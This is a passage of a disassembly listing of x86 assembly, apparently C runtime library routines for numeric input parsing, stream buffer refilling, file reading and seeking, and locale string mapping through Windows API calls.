mov eax, off_438A80
mov al, [eax+ebx*2]
and eax, 80h
loc_41DC1D: ; CODE XREF: sub_41D497+777j
test eax, eax
jz loc_41DCC8
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_420CC0
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_41DEBC
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41DC9A
; ---------------------------------------------------------------------------
loc_41DC47: ; CODE XREF: sub_41D497+75Fj
cmp dword_438C8C, 1
jle short loc_41DC5C
push 4
push ebx
call sub_41A342
pop ecx
pop ecx
jmp short loc_41DC67
; ---------------------------------------------------------------------------
loc_41DC5C: ; CODE XREF: sub_41D497+7B7j
mov eax, off_438A80
mov al, [eax+ebx*2]
and eax, 4
loc_41DC67: ; CODE XREF: sub_41D497+7C3j
test eax, eax
jz short loc_41DCC8
cmp esi, 6Fh
jnz short loc_41DC85
cmp ebx, 38h
jge short loc_41DCC8
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_420CC0
jmp short loc_41DC94
; ---------------------------------------------------------------------------
loc_41DC85: ; CODE XREF: sub_41D497+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_417460
loc_41DC94: ; CODE XREF: sub_41D497+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_41DC9A: ; CODE XREF: sub_41D497+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_41DCB2
dec [ebp+var_C]
jz short loc_41DCD6
loc_41DCB2: ; CODE XREF: sub_41D497+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41DEF3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_41DBF3
; ---------------------------------------------------------------------------
loc_41DCC8: ; CODE XREF: sub_41D497+788j
; sub_41D497+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41DF0D
pop ecx
pop ecx
loc_41DCD6: ; CODE XREF: sub_41D497+756j
; sub_41D497+819j
cmp [ebp+var_17], 0
jz loc_41DDBC
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_41DDBC
; ---------------------------------------------------------------------------
loc_41DCF8: ; CODE XREF: sub_41D497+74Cj
cmp [ebp+var_F], 0
jnz loc_41DDB4
loc_41DD02: ; CODE XREF: sub_41D497+90Aj
cmp esi, 78h
jz short loc_41DD46
cmp esi, 70h
jz short loc_41DD46
cmp dword_438C8C, 1
jle short loc_41DD21
push 4
push ebx
call sub_41A342
pop ecx
pop ecx
jmp short loc_41DD2C
; ---------------------------------------------------------------------------
loc_41DD21: ; CODE XREF: sub_41D497+87Cj
mov eax, off_438A80
mov al, [eax+ebx*2]
and eax, 4
loc_41DD2C: ; CODE XREF: sub_41D497+888j
test eax, eax
jz short loc_41DDA6
cmp esi, 6Fh
jnz short loc_41DD3F
cmp ebx, 38h
jge short loc_41DDA6
shl edi, 3
jmp short loc_41DD7E
; ---------------------------------------------------------------------------
loc_41DD3F: ; CODE XREF: sub_41D497+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_41DD7E
; ---------------------------------------------------------------------------
loc_41DD46: ; CODE XREF: sub_41D497+86Ej
; sub_41D497+873j
cmp dword_438C8C, 1
jle short loc_41DD5E
push 80h
push ebx
call sub_41A342
pop ecx
pop ecx
jmp short loc_41DD6B
; ---------------------------------------------------------------------------
loc_41DD5E: ; CODE XREF: sub_41D497+8B6j
mov eax, off_438A80
mov al, [eax+ebx*2]
and eax, 80h
loc_41DD6B: ; CODE XREF: sub_41D497+8C5j
test eax, eax
jz short loc_41DDA6
push ebx
shl edi, 4
call sub_41DEBC
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41DD7E: ; CODE XREF: sub_41D497+8A6j
; sub_41D497+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_41DD90
dec [ebp+var_C]
jz short loc_41DDB4
loc_41DD90: ; CODE XREF: sub_41D497+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41DEF3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_41DD02
; ---------------------------------------------------------------------------
loc_41DDA6: ; CODE XREF: sub_41D497+897j
; sub_41D497+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41DF0D
pop ecx
pop ecx
loc_41DDB4: ; CODE XREF: sub_41D497+865j
; sub_41D497+8F7j
cmp [ebp+var_17], 0
jz short loc_41DDBC
neg edi
loc_41DDBC: ; CODE XREF: sub_41D497+843j
; sub_41D497+85Cj ...
cmp esi, 46h
jnz short loc_41DDC5
and [ebp+var_1C], 0
loc_41DDC5: ; CODE XREF: sub_41D497+928j
cmp [ebp+var_1C], 0
jz loc_41DE9D
cmp [ebp+var_E], 0
jnz short loc_41DDFE
inc [ebp+var_34]
loc_41DDD8: ; CODE XREF: sub_41D497+23Bj
cmp [ebp+var_30], 0
jz short loc_41DDEE
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_41DDFE
; ---------------------------------------------------------------------------
loc_41DDEE: ; CODE XREF: sub_41D497+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_41DDFB
mov [eax], edi
jmp short loc_41DDFE
; ---------------------------------------------------------------------------
loc_41DDFB: ; CODE XREF: sub_41D497+95Ej
mov [eax], di
loc_41DDFE: ; CODE XREF: sub_41D497+241j
; sub_41D497+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_41DE4B
; ---------------------------------------------------------------------------
loc_41DE09: ; CODE XREF: sub_41D497+93j
inc [ebp+var_4]
push edi
call sub_41DEF3
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_41DE78
mov ecx, off_438A80
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41DE4B
inc [ebp+var_4]
push edi
call sub_41DEF3
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_41DE86
dec [ebp+var_4]
loc_41DE4B: ; CODE XREF: sub_41D497+970j
; sub_41D497+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41DE61
cmp byte ptr [esi], 25h
jnz short loc_41DEA3
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_41DEA3
mov esi, eax
loc_41DE61: ; CODE XREF: sub_41D497+9B8j
mov al, [esi]
test al, al
jnz loc_41D4C1
jmp short loc_41DE9D
; ---------------------------------------------------------------------------
loc_41DE6D: ; CODE XREF: sub_41D497+1F4j
; sub_41D497+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_41DE7D
; ---------------------------------------------------------------------------
loc_41DE78: ; CODE XREF: sub_41D497+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_41DE7D: ; CODE XREF: sub_41D497+9DFj
call sub_41DF0D
pop ecx
pop ecx
jmp short loc_41DE9D
; ---------------------------------------------------------------------------
loc_41DE86: ; CODE XREF: sub_41D497+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_41DF0D
dec [ebp+var_4]
push edi
push ebx
call sub_41DF0D
add esp, 10h
loc_41DE9D: ; CODE XREF: sub_41D497+1Fj
; sub_41D497+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41DEB4
loc_41DEA3: ; CODE XREF: sub_41D497+9BDj
; sub_41D497+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_41DEB7
cmp [ebp+var_15], al
jnz short loc_41DEB7
or eax, 0FFFFFFFFh
jmp short loc_41DEB7
; ---------------------------------------------------------------------------
loc_41DEB4: ; CODE XREF: sub_41D497+A0Aj
mov eax, [ebp+var_34]
loc_41DEB7: ; CODE XREF: sub_41D497+A11j
; sub_41D497+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41D497 endp
; =============== S U B R O U T I N E =======================================
sub_41DEBC proc near ; CODE XREF: sub_41D497+7A3p
; sub_41D497+8DCp
arg_0 = dword ptr 4
cmp dword_438C8C, 1
push esi
jle short loc_41DED6
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41A342
pop ecx
pop ecx
jmp short loc_41DEE5
; ---------------------------------------------------------------------------
loc_41DED6: ; CODE XREF: sub_41DEBC+8j
mov esi, [esp+4+arg_0]
mov eax, off_438A80
mov al, [eax+esi*2]
and eax, 4
loc_41DEE5: ; CODE XREF: sub_41DEBC+18j
test eax, eax
jnz short loc_41DEEF
and esi, 0FFFFFFDFh
sub esi, 7
loc_41DEEF: ; CODE XREF: sub_41DEBC+2Bj
mov eax, esi
pop esi
retn
sub_41DEBC endp
; =============== S U B R O U T I N E =======================================
sub_41DEF3 proc near ; CODE XREF: sub_41D497+1E1p
; sub_41D497+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_41DF05
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_41DF05: ; CODE XREF: sub_41DEF3+7j
push edx
call sub_41DF48
pop ecx
retn
sub_41DEF3 endp
; =============== S U B R O U T I N E =======================================
sub_41DF0D proc near ; CODE XREF: sub_41D497+6Bp
; sub_41D497+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_41DF23
push [esp+arg_4]
push [esp+4+arg_0]
call sub_420CDF
pop ecx
pop ecx
locret_41DF23: ; CODE XREF: sub_41DF0D+5j
retn
sub_41DF0D endp
; =============== S U B R O U T I N E =======================================
sub_41DF24 proc near ; CODE XREF: sub_41D497+63p
; sub_41D497+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_41DF2A: ; CODE XREF: sub_41DF24+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_41DEF3
mov edi, eax
push edi
call sub_420C8C
pop ecx
test eax, eax
pop ecx
jnz short loc_41DF2A
mov eax, edi
pop edi
pop esi
retn
sub_41DF24 endp
; =============== S U B R O U T I N E =======================================
sub_41DF48 proc near ; CODE XREF: sub_418786+A9p
; sub_418D0C+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41E01C
test al, 40h
jnz loc_41E01C
test al, 2
jz short loc_41DF6E
or al, 20h
mov [esi+0Ch], eax
jmp loc_41E01C
; ---------------------------------------------------------------------------
loc_41DF6E: ; CODE XREF: sub_41DF48+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41DF82
push esi
call sub_41F704
pop ecx
jmp short loc_41DF87
; ---------------------------------------------------------------------------
loc_41DF82: ; CODE XREF: sub_41DF48+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41DF87: ; CODE XREF: sub_41DF48+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41E021
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41E00B
cmp eax, 0FFFFFFFFh
jz short loc_41E00B
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41DFE0
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41DFC9
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_48A7E0[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41DFCE
; ---------------------------------------------------------------------------
loc_41DFC9: ; CODE XREF: sub_41DF48+6Bj
mov edi, offset dword_43B100
loc_41DFCE: ; CODE XREF: sub_41DF48+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41DFE0
or dh, 20h
mov [esi+0Ch], edx
loc_41DFE0: ; CODE XREF: sub_41DF48+62j
; sub_41DF48+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41DFFD
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41DFFD
test ch, 4
jnz short loc_41DFFD
mov dword ptr [esi+18h], 1000h
loc_41DFFD: ; CODE XREF: sub_41DF48+9Fj
; sub_41DF48+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E00B: ; CODE XREF: sub_41DF48+55j
; sub_41DF48+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41E01C: ; CODE XREF: sub_41DF48+Aj
; sub_41DF48+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41DF48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E021 proc near ; CODE XREF: sub_418786+90p
; sub_41DF48+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_48A8E0
jnb loc_41E1FE
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:48A7E0h[eax*4]
mov eax, dword_48A7E0[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41E1FE
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41E0D6
test dl, 2
jnz short loc_41E0D6
test dl, 48h
jz short loc_41E096
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41E096
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41E096: ; CODE XREF: sub_41E021+56j
; sub_41E021+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call dword_423074 ; ReadFile
test eax, eax
jnz short loc_41E0E9
call dword_42308C ; RtlGetLastWin32Error
push 5
pop ecx
cmp eax, ecx
jnz short loc_41E0D1
mov dword_4894AC, 9
mov dword_4894B0, ecx
jmp loc_41E20F
; ---------------------------------------------------------------------------
loc_41E0D1: ; CODE XREF: sub_41E021+99j
cmp eax, 6Dh
jnz short loc_41E0DD
loc_41E0D6: ; CODE XREF: sub_41E021+4Cj
; sub_41E021+51j
xor eax, eax
jmp loc_41E212
; ---------------------------------------------------------------------------
loc_41E0DD: ; CODE XREF: sub_41E021+B3j
push eax
call sub_41EC6F
pop ecx
jmp loc_41E20F
; ---------------------------------------------------------------------------
loc_41E0E9: ; CODE XREF: sub_41E021+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41E1F9
test edx, edx
jz short loc_41E10E
cmp byte ptr [edi], 0Ah
jnz short loc_41E10E
or al, 4
jmp short loc_41E110
; ---------------------------------------------------------------------------
loc_41E10E: ; CODE XREF: sub_41E021+E2j
; sub_41E021+E7j
and al, 0FBh
loc_41E110: ; CODE XREF: sub_41E021+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41E1F3
loc_41E128: ; CODE XREF: sub_41E021+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41E1E3
cmp al, 0Dh
jz short loc_41E144
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41E1D5
; ---------------------------------------------------------------------------
loc_41E144: ; CODE XREF: sub_41E021+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41E162
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41E159
add [ebp+arg_8], 2
jmp short loc_41E1B7
; ---------------------------------------------------------------------------
loc_41E159: ; CODE XREF: sub_41E021+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41E1D5
; ---------------------------------------------------------------------------
loc_41E162: ; CODE XREF: sub_41E021+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_423074 ; ReadFile
test eax, eax
jnz short loc_41E18A
call dword_42308C ; RtlGetLastWin32Error
test eax, eax
jnz short loc_41E1D1
loc_41E18A: ; CODE XREF: sub_41E021+15Dj
cmp [ebp+var_C], 0
jz short loc_41E1D1
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41E1AC
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41E1B7
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41E1D5
; ---------------------------------------------------------------------------
loc_41E1AC: ; CODE XREF: sub_41E021+176j
cmp edi, [ebp+arg_4]
jnz short loc_41E1BC
cmp [ebp+var_1], 0Ah
jnz short loc_41E1BC
loc_41E1B7: ; CODE XREF: sub_41E021+136j
; sub_41E021+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41E1D4
; ---------------------------------------------------------------------------
loc_41E1BC: ; CODE XREF: sub_41E021+18Ej
; sub_41E021+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_41E217
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41E1D5
loc_41E1D1: ; CODE XREF: sub_41E021+167j
; sub_41E021+16Dj
mov byte ptr [edi], 0Dh
loc_41E1D4: ; CODE XREF: sub_41E021+199j
inc edi
loc_41E1D5: ; CODE XREF: sub_41E021+11Ej
; sub_41E021+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41E128
jmp short loc_41E1F3
; ---------------------------------------------------------------------------
loc_41E1E3: ; CODE XREF: sub_41E021+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41E1F3
or al, 2
mov [esi], al
loc_41E1F3: ; CODE XREF: sub_41E021+101j
; sub_41E021+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41E1F9: ; CODE XREF: sub_41E021+DAj
mov eax, [ebp+var_8]
jmp short loc_41E212
; ---------------------------------------------------------------------------
loc_41E1FE: ; CODE XREF: sub_41E021+12j
; sub_41E021+39j
and dword_4894B0, 0
mov dword_4894AC, 9
loc_41E20F: ; CODE XREF: sub_41E021+ABj
; sub_41E021+C3j
or eax, 0FFFFFFFFh
loc_41E212: ; CODE XREF: sub_41E021+B7j
; sub_41E021+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41E021 endp
; =============== S U B R O U T I N E =======================================
sub_41E217 proc near ; CODE XREF: sub_418A0E+67p
; sub_419A23+CDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_48A8E0
push esi
push edi
jnb short loc_41E299
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:48A7E0h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_41E299
push eax
call sub_41FB5E
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41E25B
mov dword_4894AC, 9
jmp short loc_41E2AA
; ---------------------------------------------------------------------------
loc_41E25B: ; CODE XREF: sub_41E217+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call dword_4230C0 ; SetFilePointer
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41E27B
call dword_42308C ; RtlGetLastWin32Error
jmp short loc_41E27D
; ---------------------------------------------------------------------------
loc_41E27B: ; CODE XREF: sub_41E217+5Aj
xor eax, eax
loc_41E27D: ; CODE XREF: sub_41E217+62j
test eax, eax
jz short loc_41E28A
push eax
call sub_41EC6F
pop ecx
jmp short loc_41E2AA
; ---------------------------------------------------------------------------
loc_41E28A: ; CODE XREF: sub_41E217+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_41E2AD
; ---------------------------------------------------------------------------
loc_41E299: ; CODE XREF: sub_41E217+Dj
; sub_41E217+2Aj
and dword_4894B0, 0
mov dword_4894AC, 9
loc_41E2AA: ; CODE XREF: sub_41E217+42j
; sub_41E217+71j
or eax, 0FFFFFFFFh
loc_41E2AD: ; CODE XREF: sub_41E217+80j
pop edi
pop esi
pop ebx
retn
sub_41E217 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E2B1 proc near ; CODE XREF: sub_418A0E+2Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_41E2CD
mov [edi+4], ebx
loc_41E2CD: ; CODE XREF: sub_41E2B1+17j
push 1
push ebx
push esi
call sub_41E217
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_41E33B
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_41E2F2
sub eax, [edi+4]
jmp loc_41E404
; ---------------------------------------------------------------------------
loc_41E2F2: ; CODE XREF: sub_41E2B1+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_41E32C
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_48A7E0[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_41E343
mov edx, ecx
loc_41E31D: ; CODE XREF: sub_41E2B1+79j
cmp edx, eax
jnb short loc_41E343
cmp byte ptr [edx], 0Ah
jnz short loc_41E329
inc [ebp+var_8]
loc_41E329: ; CODE XREF: sub_41E2B1+73j
inc edx
jmp short loc_41E31D
; ---------------------------------------------------------------------------
loc_41E32C: ; CODE XREF: sub_41E2B1+50j
test dl, 80h
jnz short loc_41E343
mov dword_4894AC, 16h
loc_41E33B: ; CODE XREF: sub_41E2B1+2Dj
or eax, 0FFFFFFFFh
jmp loc_41E404
; ---------------------------------------------------------------------------
loc_41E343: ; CODE XREF: sub_41E2B1+68j
; sub_41E2B1+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_41E351
mov eax, [ebp+var_8]
jmp loc_41E404
; ---------------------------------------------------------------------------
loc_41E351: ; CODE XREF: sub_41E2B1+96j
test byte ptr [edi+0Ch], 1
jz loc_41E3FC
mov edx, [edi+4]
test edx, edx
jnz short loc_41E36A
and [ebp+var_8], edx
jmp loc_41E3FC
; ---------------------------------------------------------------------------
loc_41E36A: ; CODE XREF: sub_41E2B1+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:48A7E0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_41E3F6
push 2
push 0
push [ebp+var_C]
call sub_41E217
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_41E3BD
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_41E3A8: ; CODE XREF: sub_41E2B1+104j
cmp eax, ecx
jnb short loc_41E3B7
cmp byte ptr [eax], 0Ah
jnz short loc_41E3B4
inc [ebp+arg_0]
loc_41E3B4: ; CODE XREF: sub_41E2B1+FEj
inc eax
jmp short loc_41E3A8
; ---------------------------------------------------------------------------
loc_41E3B7: ; CODE XREF: sub_41E2B1+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_41E3F1
; ---------------------------------------------------------------------------
loc_41E3BD: ; CODE XREF: sub_41E2B1+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_41E217
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_41E3E4
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_41E3E4
test ch, 4
jz short loc_41E3E7
loc_41E3E4: ; CODE XREF: sub_41E2B1+124j
; sub_41E2B1+12Cj
mov eax, [edi+18h]
loc_41E3E7: ; CODE XREF: sub_41E2B1+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_41E3F1: ; CODE XREF: sub_41E2B1+10Aj
jz short loc_41E3F6
inc [ebp+arg_0]
loc_41E3F6: ; CODE XREF: sub_41E2B1+D9j
; sub_41E2B1:loc_41E3F1j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_41E3FC: ; CODE XREF: sub_41E2B1+A4j
; sub_41E2B1+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_41E404: ; CODE XREF: sub_41E2B1+3Cj
; sub_41E2B1+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41E2B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E409 proc near ; CODE XREF: sub_418D63+47p
; sub_418D63+74p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4238D8
push offset sub_41F4A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_489558, edi
jnz short loc_41E47F
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_4238D0
mov esi, 100h
push esi
push edi
call dword_4231C8 ; LCMapStringW
test eax, eax
jz short loc_41E45D
mov dword_489558, ebx
jmp short loc_41E47F
; ---------------------------------------------------------------------------
loc_41E45D: ; CODE XREF: sub_41E409+4Aj
push edi
push edi
push ebx
push offset dword_43BCF8
push esi
push edi
call dword_4231C4 ; LCMapStringA
test eax, eax
jz loc_41E597
mov dword_489558, 2
loc_41E47F: ; CODE XREF: sub_41E409+2Ej
; sub_41E409+52j
cmp [ebp+arg_C], edi
jle short loc_41E494
push [ebp+arg_C]
push [ebp+arg_8]
call sub_41E62D
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_41E494: ; CODE XREF: sub_41E409+79j
mov eax, dword_489558
cmp eax, 2
jnz short loc_41E4BB
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4231C4 ; LCMapStringA
jmp loc_41E599
; ---------------------------------------------------------------------------
loc_41E4BB: ; CODE XREF: sub_41E409+93j
cmp eax, 1
jnz loc_41E597
cmp [ebp+arg_18], edi
jnz short loc_41E4D1
mov eax, dword_489550
mov [ebp+arg_18], eax
loc_41E4D1: ; CODE XREF: sub_41E409+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call dword_423070 ; MultiByteToWideChar
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_41E597
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_417830
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41E52C
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_41E52C: ; CODE XREF: sub_41E409+10Ej
cmp [ebp+var_24], edi
jz short loc_41E597
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call dword_423070 ; MultiByteToWideChar
test eax, eax
jz short loc_41E597
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4231C8 ; LCMapStringW
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_41E597
test byte ptr [ebp+arg_4+1], 4
jz short loc_41E5AB
cmp [ebp+arg_14], edi
jz loc_41E626
cmp esi, [ebp+arg_14]
jg short loc_41E597
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4231C8 ; LCMapStringW
test eax, eax
jnz loc_41E626
loc_41E597: ; CODE XREF: sub_41E409+66j
; sub_41E409+B5j ...
xor eax, eax
